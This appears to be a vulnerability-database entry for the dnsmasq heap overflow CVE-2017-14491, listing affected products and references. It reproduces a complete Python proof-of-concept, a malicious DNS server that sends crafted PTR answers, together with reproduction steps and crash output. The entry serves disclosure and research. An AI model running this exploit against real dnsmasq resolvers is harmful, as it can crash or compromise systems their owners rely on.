ID

VAR-E-201710-0645


CVE

cve_id:CVE-2017-14491

Trust: 1.8

cve_id:CVE-2017-14494

Trust: 0.8

cve_id:CVE-2017-14495

Trust: 0.8

cve_id:CVE-2017-14493

Trust: 0.8

cve_id:CVE-2017-14492

Trust: 0.8

cve_id:CVE-2017-14496

Trust: 0.8

cve_id:CVE-2017-13704

Trust: 0.3

sources: BID: 101085 // PACKETSTORM: 144468 // PACKETSTORM: 144473 // PACKETSTORM: 144462 // PACKETSTORM: 144471 // PACKETSTORM: 144480 // PACKETSTORM: 144479 // EXPLOIT-DB: 42941

EDB ID

42941


TITLE

Dnsmasq < 2.78 - 2-byte Heap Overflow - Multiple dos Exploit

Trust: 0.6

sources: EXPLOIT-DB: 42941

DESCRIPTION

Dnsmasq < 2.78 - 2-byte Heap Overflow. CVE-2017-14491 . dos exploit for Multiple platform

Trust: 0.6

sources: EXPLOIT-DB: 42941

AFFECTED PRODUCTS

vendor:dnsmasqmodel: - scope:ltversion:2.78

Trust: 4.6

vendor:redhatmodel:enterprise linux server year extended update supportscope:eqversion:-47.4

Trust: 0.6

vendor:dnsmasqmodel:lack of freescope: - version: -

Trust: 0.5

vendor:dnsmasqmodel:stack-basedscope: - version: -

Trust: 0.5

vendor:dnsmasqmodel:integer underflowscope: - version: -

Trust: 0.5

vendor:dnsmasqmodel:information leakscope: - version: -

Trust: 0.5

vendor:dnsmasqmodel:2-byte heap-basedscope: - version: -

Trust: 0.5

vendor:dnsmasqmodel:heap-basedscope: - version: -

Trust: 0.5

vendor:ubuntumodel:linuxscope:eqversion:17.04

Trust: 0.3

vendor:ubuntumodel:linux ltsscope:eqversion:16.04

Trust: 0.3

vendor:ubuntumodel:linux ltsscope:eqversion:14.04

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:1.2.2

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.77

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.75

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.72

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.71

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.70

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.7

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.65

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.64

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.63

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.62

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.61

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.60

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.6

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.59

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.58

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.57

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.56

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.55

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.54

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.53

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.52

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.51

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.50

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.49

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.48

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.47

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.46

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.45

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.44

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.43

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.42

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.41

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.40

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.4

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.38

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.37

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.36

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.35

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.34

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.33

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.30

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.29

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.28

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.27

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.26

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.25

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.24

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.23

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.22

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.21

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.20

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.2

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.19

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.18

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.17

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.16

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.15

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.14

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.13

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.12

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.11

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:2.10

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:1.9

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:1.8

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:1.6

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:1.5

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:1.4

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:1.3

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:1.18

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:1.17

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:1.16

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:1.15

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:1.14

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:1.13

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:1.12

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:1.11

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:1.10

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:1.0

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:0.996

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:0.992

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:0.98

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:0.96

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:0.95

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:0.7

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:0.6

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:0.5

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:eqversion:0.4

Trust: 0.3

vendor:slackwaremodel:linuxscope:eqversion:14.2

Trust: 0.3

vendor:slackwaremodel:linuxscope:eqversion:14.1

Trust: 0.3

vendor:slackwaremodel:linuxscope:eqversion:14.0

Trust: 0.3

vendor:slackwaremodel:linuxscope:eqversion:13.37

Trust: 0.3

vendor:slackwaremodel:linuxscope:eqversion:13.1

Trust: 0.3

vendor:slackwaremodel:linuxscope:eqversion:13.0

Trust: 0.3

vendor:redhatmodel:enterprise linux workstation optionalscope:eqversion:7

Trust: 0.3

vendor:redhatmodel:enterprise linux workstation optionalscope:eqversion:6

Trust: 0.3

vendor:redhatmodel:enterprise linux workstationscope:eqversion:7

Trust: 0.3

vendor:redhatmodel:enterprise linux workstationscope:eqversion:6

Trust: 0.3

vendor:redhatmodel:enterprise linux server tusscope:eqversion:6.6

Trust: 0.3

vendor:redhatmodel:enterprise linux server tusscope:eqversion:6.5

Trust: 0.3

vendor:redhatmodel:enterprise linux server optional eusscope:eqversion:7.3

Trust: 0.3

vendor:redhatmodel:enterprise linux server optional eusscope:eqversion:7.2

Trust: 0.3

vendor:redhatmodel:enterprise linux server optional eusscope:eqversion:6.5

Trust: 0.3

vendor:redhatmodel:enterprise linux server optional ausscope:eqversion:6.6

Trust: 0.3

vendor:redhatmodel:enterprise linux server optional ausscope:eqversion:6.5

Trust: 0.3

vendor:redhatmodel:enterprise linux server optional ausscope:eqversion:6.4

Trust: 0.3

vendor:redhatmodel:enterprise linux server optionalscope:eqversion:7

Trust: 0.3

vendor:redhatmodel:enterprise linux server optionalscope:eqversion:6

Trust: 0.3

vendor:redhatmodel:enterprise linux server for armscope:eqversion:7

Trust: 0.3

vendor:redhatmodel:enterprise linux server eusscope:eqversion:7.3

Trust: 0.3

vendor:redhatmodel:enterprise linux server eusscope:eqversion:7.2

Trust: 0.3

vendor:redhatmodel:enterprise linux server ausscope:eqversion:6.6

Trust: 0.3

vendor:redhatmodel:enterprise linux server ausscope:eqversion:6.5

Trust: 0.3

vendor:redhatmodel:enterprise linux server ausscope:eqversion:6.4

Trust: 0.3

vendor:redhatmodel:enterprise linux server ausscope:eqversion:6.2

Trust: 0.3

vendor:redhatmodel:enterprise linux server tusscope:eqversion:-7.4

Trust: 0.3

vendor:redhatmodel:enterprise linux server tusscope:eqversion:-7.3

Trust: 0.3

vendor:redhatmodel:enterprise linux server tusscope:eqversion:-7.2

Trust: 0.3

vendor:redhatmodel:enterprise linux server extended update supportscope:eqversion:-7.4

Trust: 0.3

vendor:redhatmodel:enterprise linux server extended update supportscope:eqversion:-7.2

Trust: 0.3

vendor:redhatmodel:enterprise linux server extended update supporscope:eqversion:-7.3

Trust: 0.3

vendor:redhatmodel:enterprise linux server ausscope:eqversion:-7.4

Trust: 0.3

vendor:redhatmodel:enterprise linux server ausscope:eqversion:-7.3

Trust: 0.3

vendor:redhatmodel:enterprise linux server ausscope:eqversion:-7.2

Trust: 0.3

vendor:redhatmodel:enterprise linux server year extended update supportscope:eqversion:-47.2

Trust: 0.3

vendor:redhatmodel:enterprise linux server year extended updscope:eqversion:-47.3

Trust: 0.3

vendor:redhatmodel:enterprise linux serverscope:eqversion:7

Trust: 0.3

vendor:redhatmodel:enterprise linux serverscope:eqversion:6

Trust: 0.3

vendor:redhatmodel:enterprise linux serverscope:eqversion:5

Trust: 0.3

vendor:redhatmodel:enterprise linux long life serverscope:eqversion:5.9

Trust: 0.3

vendor:redhatmodel:enterprise linux hpc node optionalscope:eqversion:6

Trust: 0.3

vendor:redhatmodel:enterprise linux hpc nodescope:eqversion:6

Trust: 0.3

vendor:redhatmodel:enterprise linux for scientific computingscope:eqversion:7

Trust: 0.3

vendor:redhatmodel:enterprise linux for power little endian extended update suppscope:eqversion:-7.4

Trust: 0.3

vendor:redhatmodel:enterprise linux for power little endianscope:eqversion:7

Trust: 0.3

vendor:redhatmodel:enterprise linux for power big endian extended update supportscope:eqversion:-7.4

Trust: 0.3

vendor:redhatmodel:enterprise linux for power big endianscope:eqversion:7

Trust: 0.3

vendor:redhatmodel:enterprise linux for power little endian extended update supposcope:eqversion:-7.3

Trust: 0.3

vendor:redhatmodel:enterprise linux for power little endian extended update supposcope:eqversion:-7.2

Trust: 0.3

vendor:redhatmodel:enterprise linux for power big endian extended update supportscope:eqversion:-7.3

Trust: 0.3

vendor:redhatmodel:enterprise linux for power big endian extended update supportscope:eqversion:-7.2

Trust: 0.3

vendor:redhatmodel:enterprise linux for ibm z systems extended update supportscope:eqversion:-7.4

Trust: 0.3

vendor:redhatmodel:enterprise linux for ibm z systems extended update supportscope:eqversion:-7.3

Trust: 0.3

vendor:redhatmodel:enterprise linux for ibm z systems extended update supportscope:eqversion:-7.2

Trust: 0.3

vendor:redhatmodel:enterprise linux for ibm z systemsscope:eqversion:7

Trust: 0.3

vendor:redhatmodel:enterprise linux eus compute nodescope:eqversion:7.4

Trust: 0.3

vendor:redhatmodel:enterprise linux eus compute nodescope:eqversion:7.3

Trust: 0.3

vendor:redhatmodel:enterprise linux eus compute nodescope:eqversion:7.2

Trust: 0.3

vendor:redhatmodel:enterprise linux desktop optionalscope:eqversion:6

Trust: 0.3

vendor:redhatmodel:enterprise linux desktopscope:eqversion:7

Trust: 0.3

vendor:redhatmodel:enterprise linux desktopscope:eqversion:6

Trust: 0.3

vendor:redhatmodel:enterprise linux computenode optional eusscope:eqversion:7.3

Trust: 0.3

vendor:redhatmodel:enterprise linux computenode optional eusscope:eqversion:7.2

Trust: 0.3

vendor:redhatmodel:enterprise linux computenode optionalscope:eqversion:7

Trust: 0.3

vendor:redhatmodel:enterprise linux computenode eusscope:eqversion:7.3

Trust: 0.3

vendor:redhatmodel:enterprise linux computenode eusscope:eqversion:7.2

Trust: 0.3

vendor:redhatmodel:enterprise linux computenodescope:eqversion:7

Trust: 0.3

vendor:oraclemodel:linuxscope:eqversion:7

Trust: 0.3

vendor:oraclemodel:linuxscope:eqversion:6

Trust: 0.3

vendor:opensusemodel:leapscope:eqversion:42.3

Trust: 0.3

vendor:opensusemodel:leapscope:eqversion:42.2

Trust: 0.3

vendor:kubernetesmodel:kubernetesscope:eqversion:1.7.6

Trust: 0.3

vendor:kubernetesmodel:kubernetesscope:eqversion:1.7

Trust: 0.3

vendor:kubernetesmodel:kubernetesscope:eqversion:1.6.10

Trust: 0.3

vendor:kubernetesmodel:kubernetesscope:eqversion:1.6

Trust: 0.3

vendor:kubernetesmodel:kubernetesscope:eqversion:1.5.7

Trust: 0.3

vendor:kubernetesmodel:kubernetesscope:eqversion:1.5

Trust: 0.3

vendor:kubernetesmodel:kubernetesscope:eqversion:1.2

Trust: 0.3

vendor:googlemodel:androidscope:eqversion:7.1.1

Trust: 0.3

vendor:googlemodel:androidscope:eqversion:6.0.1

Trust: 0.3

vendor:googlemodel:androidscope:eqversion:5.1.1

Trust: 0.3

vendor:googlemodel:androidscope:eqversion:5.0.2

Trust: 0.3

vendor:googlemodel:androidscope:eqversion:4.4.4

Trust: 0.3

vendor:googlemodel:androidscope:eqversion:8.0

Trust: 0.3

vendor:googlemodel:androidscope:eqversion:7.1.2

Trust: 0.3

vendor:googlemodel:androidscope:eqversion:7.0

Trust: 0.3

vendor:googlemodel:androidscope:eqversion:6.0

Trust: 0.3

vendor:fedoraprojectmodel:fedorascope:eqversion:27

Trust: 0.3

vendor:debianmodel:linux sparcscope:eqversion:6.0

Trust: 0.3

vendor:debianmodel:linux s/390scope:eqversion:6.0

Trust: 0.3

vendor:debianmodel:linux powerpcscope:eqversion:6.0

Trust: 0.3

vendor:debianmodel:linux mipsscope:eqversion:6.0

Trust: 0.3

vendor:debianmodel:linux ia-64scope:eqversion:6.0

Trust: 0.3

vendor:debianmodel:linux ia-32scope:eqversion:6.0

Trust: 0.3

vendor:debianmodel:linux ia-30scope:eqversion:6.0

Trust: 0.3

vendor:debianmodel:linux armscope:eqversion:6.0

Trust: 0.3

vendor:debianmodel:linux amd64scope:eqversion:6.0

Trust: 0.3

vendor:centosmodel:centosscope:eqversion:7

Trust: 0.3

vendor:centosmodel:centosscope:eqversion:6

Trust: 0.3

vendor:thekelleysmodel:dnsmasqscope:neversion:2.78

Trust: 0.3

vendor:kubernetesmodel:kubernetesscope:neversion:1.8

Trust: 0.3

vendor:kubernetesmodel:kubernetesscope:neversion:1.7.7

Trust: 0.3

vendor:kubernetesmodel:kubernetesscope:neversion:1.6.11

Trust: 0.3

vendor:kubernetesmodel:kubernetesscope:neversion:1.5.8

Trust: 0.3

sources: BID: 101085 // PACKETSTORM: 144468 // PACKETSTORM: 144473 // PACKETSTORM: 144462 // PACKETSTORM: 144471 // PACKETSTORM: 144480 // PACKETSTORM: 144479 // EXPLOIT-DB: 42941 // EDBNET: 94395 // EDBNET: 94654 // EDBNET: 94657 // EDBNET: 94656 // EDBNET: 94655 // EDBNET: 94653

EXPLOIT

'''
Sources:
https://raw.githubusercontent.com/google/security-research-pocs/master/vulnerabilities/dnsmasq/CVE-2017-14491.py
https://security.googleblog.com/2017/10/behind-masq-yet-more-dns-and-dhcp.html

1) Build the docker and open three terminals

docker build -t dnsmasq .
docker run --rm -t -i --name dnsmasq_test dnsmasq bash
docker cp poc.py dnsmasq_test:/poc.py
docker exec -it <container_id> bash
docker exec -it <container_id> bash

2) On one terminal let’s launch attacker controlled DNS server:

# python poc.py 127.0.0.2 53
Listening at 127.0.0.2:53

3) On another terminal let’s launch dnsmasq forwarding queries to attacker controlled DNS:

# /testing/dnsmasq/src/dnsmasq -p 53535 --no-daemon --log-queries -S 127.0.0.2 --no-hosts --no-resolv
dnsmasq: started, version 2.78test2-8-ga3303e1 cachesize 150
dnsmasq: compile time options: IPv6 GNU-getopt no-DBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset auth no-DNSSEC loop-detect inotify
dnsmasq: using nameserver 127.0.0.2#53
dnsmasq: cleared cache

4) Let’s fake a client making a request twice (or more) so we hit the dnsmasq cache:

# dig @localhost -p 53535 -x 8.8.8.125 > /dev/null
# dig @localhost -p 53535 -x 8.8.8.125 > /dev/null

5) The crash might not be triggered on the first try due to the non-deterministic order of the dnsmasq cache. Restarting dnsmasq and retrying should be sufficient to trigger a crash.

==1159==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62200001dd0b at pc 0x0000005105e7 bp 0x7fff6165b9b0 sp 0x7fff6165b9a8
WRITE of size 1 at 0x62200001dd0b thread T0
#0 0x5105e6 in add_resource_record /test/dnsmasq/src/rfc1035.c:1141:7
#1 0x5127c8 in answer_request /test/dnsmasq/src/rfc1035.c:1428:11
#2 0x534578 in receive_query /test/dnsmasq/src/forward.c:1439:11
#3 0x548486 in check_dns_listeners /test/dnsmasq/src/dnsmasq.c:1565:2
#4 0x5448b6 in main /test/dnsmasq/src/dnsmasq.c:1044:7
#5 0x7fdf4b3972b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)
#6 0x41cbe9 in _start (/test/dnsmasq/src/dnsmasq+0x41cbe9)

0x62200001dd0b is located 0 bytes to the right of 5131-byte region [0x62200001c900,0x62200001dd0b)
allocated by thread T0 here:
#0 0x4cc700 in calloc (/test/dnsmasq/src/dnsmasq+0x4cc700)
#1 0x5181b5 in safe_malloc /test/dnsmasq/src/util.c:267:15
#2 0x54186c in main /test/dnsmasq/src/dnsmasq.c:99:20
#3 0x7fdf4b3972b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)

SUMMARY: AddressSanitizer: heap-buffer-overflow /test/dnsmasq/src/rfc1035.c:1141:7 in add_resource_record
Shadow bytes around the buggy address:
0x0c447fffbb50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c447fffbb60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c447fffbb70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c447fffbb80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c447fffbb90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c447fffbba0: 00[03]fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c447fffbbb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c447fffbbc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c447fffbbd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c447fffbbe0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c447fffbbf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==1159==ABORTING
'''

#!/usr/bin/python
#
# Copyright 2017 Google Inc
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Authors:
# Fermin J. Serna <fjserna@google.com>
# Felix Wilhelm <fwilhelm@google.com>
# Gabriel Campana <gbrl@google.com>
# Kevin Hamacher <hamacher@google.com>
# Gynvael Coldwind <gynvael@google.com>
# Ron Bowes - Xoogler :/

import socket
import struct
import sys

def dw(x):
return struct.pack('>H', x)

def udp_handler(sock_udp):

data, addr = sock_udp.recvfrom(1024)
print '[UDP] Total Data len recv ' + str(len(data))
id = struct.unpack('>H', data[0:2])[0]
query = data[12:]

data = dw(id) # id
data += dw(0x85a0) # flags
data += dw(1) # questions
data += dw(0x52) # answers
data += dw(0) # authoritative
data += dw(0) # additional

# Add the question back - we're just hardcoding it
data += ('\x03125\x018\x018\x018\x07in-addr\x04arpa\x00' +
'\x00\x0c' + # type = 'PTR'
'\x00\x01') # cls = 'IN'

# Add the first answer
data += ('\xc0\x0c' + # ptr to the name
'\x00\x0c' + # type = 'PTR'
'\x00\x01' + # cls = 'IN'
'\x00\x00\x00\x3d' + # ttl
'\x04\x00' + # size of this resource record
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x0e' + 'Z'*14 +
'\x00')

# Add the next answer, which is written out in full
data += ('\xc0\x0c' + # ptr to the name
'\x00\x0c' + # type = 'PTR'
'\x00\x01' + # cls = 'IN'
'\x00\x00\x00\x3d' + # ttl
'\x00\x26' + # size of this resource record
'\x08DCBBEEEE\x04DDDD\x08CCCCCCCC\x04AAAA\x04BBBB\x03com\x00')

for _ in range(79):
data += ('\xc0\x0c' + # ptr to the name
'\x00\x0c' + # type = 'PTR'
'\x00\x01' + # cls = 'IN'
'\x00\x00\x00\x3d' + # ttl
'\x00\x02' + # size of the compressed resource record
'\xc4\x40') # pointer to the second record's name

data += ('\xc0\x0c' + # ptr to the name
'\x00\x0c' + # type = 'PTR'
'\x00\x01' + # cls = 'IN'
'\x00\x00\x00\x3d' + # ttl
'\x00\x11' + # size of this resource record
'\x04EEEE\x09DAABBEEEE\xc4\x49')

sock_udp.sendto(data, addr)

if __name__ == '__main__':

if len(sys.argv) != 3:
print 'Usage: %s <ip> <port>\n' % sys.argv[0]
sys.exit(0)

ip = sys.argv[1]
port = int(sys.argv[2])

sock_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_udp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock_udp.bind((ip, port))
print 'Listening at %s:%d\n' % (ip, port)

while True:
udp_handler(sock_udp)

sock_udp.close()

Trust: 1.0

sources: EXPLOIT-DB: 42941

EXPLOIT LANGUAGE

py

Trust: 0.6

sources: EXPLOIT-DB: 42941

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 42941

TYPE

overflow

Trust: 1.5

sources: PACKETSTORM: 144473 // PACKETSTORM: 144480 // PACKETSTORM: 144479

TAGS

tag:exploit

Trust: 3.0

tag:overflow

Trust: 1.5

tag:denial of service

Trust: 0.5

tag:info disclosure

Trust: 0.5

sources: PACKETSTORM: 144468 // PACKETSTORM: 144473 // PACKETSTORM: 144462 // PACKETSTORM: 144471 // PACKETSTORM: 144480 // PACKETSTORM: 144479

CREDITS

Google Security Research

Trust: 0.6

sources: EXPLOIT-DB: 42941

EXTERNAL IDS

db:NVDid:CVE-2017-14491

Trust: 2.4

db:EXPLOIT-DBid:42941

Trust: 1.6

db:NVDid:CVE-2017-14494

Trust: 1.4

db:NVDid:CVE-2017-14495

Trust: 1.4

db:NVDid:CVE-2017-14493

Trust: 1.4

db:NVDid:CVE-2017-14492

Trust: 1.4

db:NVDid:CVE-2017-14496

Trust: 1.4

db:EDBNETid:94395

Trust: 0.6

db:0DAYTODAYid:28724

Trust: 0.6

db:EDBNETid:94654

Trust: 0.6

db:0DAYTODAYid:28727

Trust: 0.6

db:EDBNETid:94657

Trust: 0.6

db:0DAYTODAYid:28726

Trust: 0.6

db:EDBNETid:94656

Trust: 0.6

db:0DAYTODAYid:28725

Trust: 0.6

db:EDBNETid:94655

Trust: 0.6

db:0DAYTODAYid:28723

Trust: 0.6

db:EDBNETid:94653

Trust: 0.6

db:PACKETSTORMid:144468

Trust: 0.5

db:PACKETSTORMid:144473

Trust: 0.5

db:PACKETSTORMid:144462

Trust: 0.5

db:PACKETSTORMid:144471

Trust: 0.5

db:PACKETSTORMid:144480

Trust: 0.5

db:PACKETSTORMid:144479

Trust: 0.5

db:NVDid:CVE-2017-13704

Trust: 0.3

db:CERT/CCid:VU#973527

Trust: 0.3

db:ICS CERTid:ICSA-17-332-01

Trust: 0.3

db:BIDid:101085

Trust: 0.3

sources: BID: 101085 // PACKETSTORM: 144468 // PACKETSTORM: 144473 // PACKETSTORM: 144462 // PACKETSTORM: 144471 // PACKETSTORM: 144480 // PACKETSTORM: 144479 // EXPLOIT-DB: 42941 // EDBNET: 94395 // EDBNET: 94654 // EDBNET: 94657 // EDBNET: 94656 // EDBNET: 94655 // EDBNET: 94653

REFERENCES

url:https://nvd.nist.gov/vuln/detail/cve-2017-14491

Trust: 1.5

url:https://raw.githubusercontent.com/google/security-research-pocs/master/vulnerabilities/dnsmasq/cve-2017-14491.py

Trust: 1.0

url:https://www.exploit-db.com/exploits/42941/

Trust: 0.6

url:https://0day.today/exploits/28724

Trust: 0.6

url:https://0day.today/exploits/28727

Trust: 0.6

url:https://0day.today/exploits/28726

Trust: 0.6

url:https://0day.today/exploits/28725

Trust: 0.6

url:https://0day.today/exploits/28723

Trust: 0.6

url:https://nvd.nist.gov/vuln/detail/cve-2017-14495

Trust: 0.5

url:https://nvd.nist.gov/vuln/detail/cve-2017-14493

Trust: 0.5

url:https://nvd.nist.gov/vuln/detail/cve-2017-14496

Trust: 0.5

url:https://nvd.nist.gov/vuln/detail/cve-2017-14494

Trust: 0.5

url:https://nvd.nist.gov/vuln/detail/cve-2017-14492

Trust: 0.5

url:https://github.com/google/security-research-pocs/blob/master/vulnerabilities/dnsmasq/cve-2017-14492.py

Trust: 0.3

url:https://access.redhat.com/security/cve/cve-2017-14495

Trust: 0.3

url:https://github.com/google/security-research-pocs/blob/master/vulnerabilities/dnsmasq/cve-2017-14494.py

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2017:2836

Trust: 0.3

url:https://access.redhat.com/security/cve/cve-2017-14491

Trust: 0.3

url:https://source.android.com/security/bulletin/2017-10-01

Trust: 0.3

url:https://ics-cert.us-cert.gov/advisories/icsa-17-332-01

Trust: 0.3

url:https://security.googleblog.com/2017/10/behind-masq-yet-more-dns-and-dhcp.html

Trust: 0.3

url:https://bugzilla.redhat.com/show_bug.cgi?id=1495411

Trust: 0.3

url:https://bugzilla.redhat.com/show_bug.cgi?id=1495510

Trust: 0.3

url:https://access.redhat.com/security/cve/cve-2017-14494

Trust: 0.3

url:https://github.com/google/security-research-pocs/blob/master/vulnerabilities/dnsmasq/cve-2017-14496.py

Trust: 0.3

url:https://bugzilla.redhat.com/show_bug.cgi?id=1495409 bug 1495409

Trust: 0.3

url:http://www.kb.cert.org/vuls/id/973527

Trust: 0.3

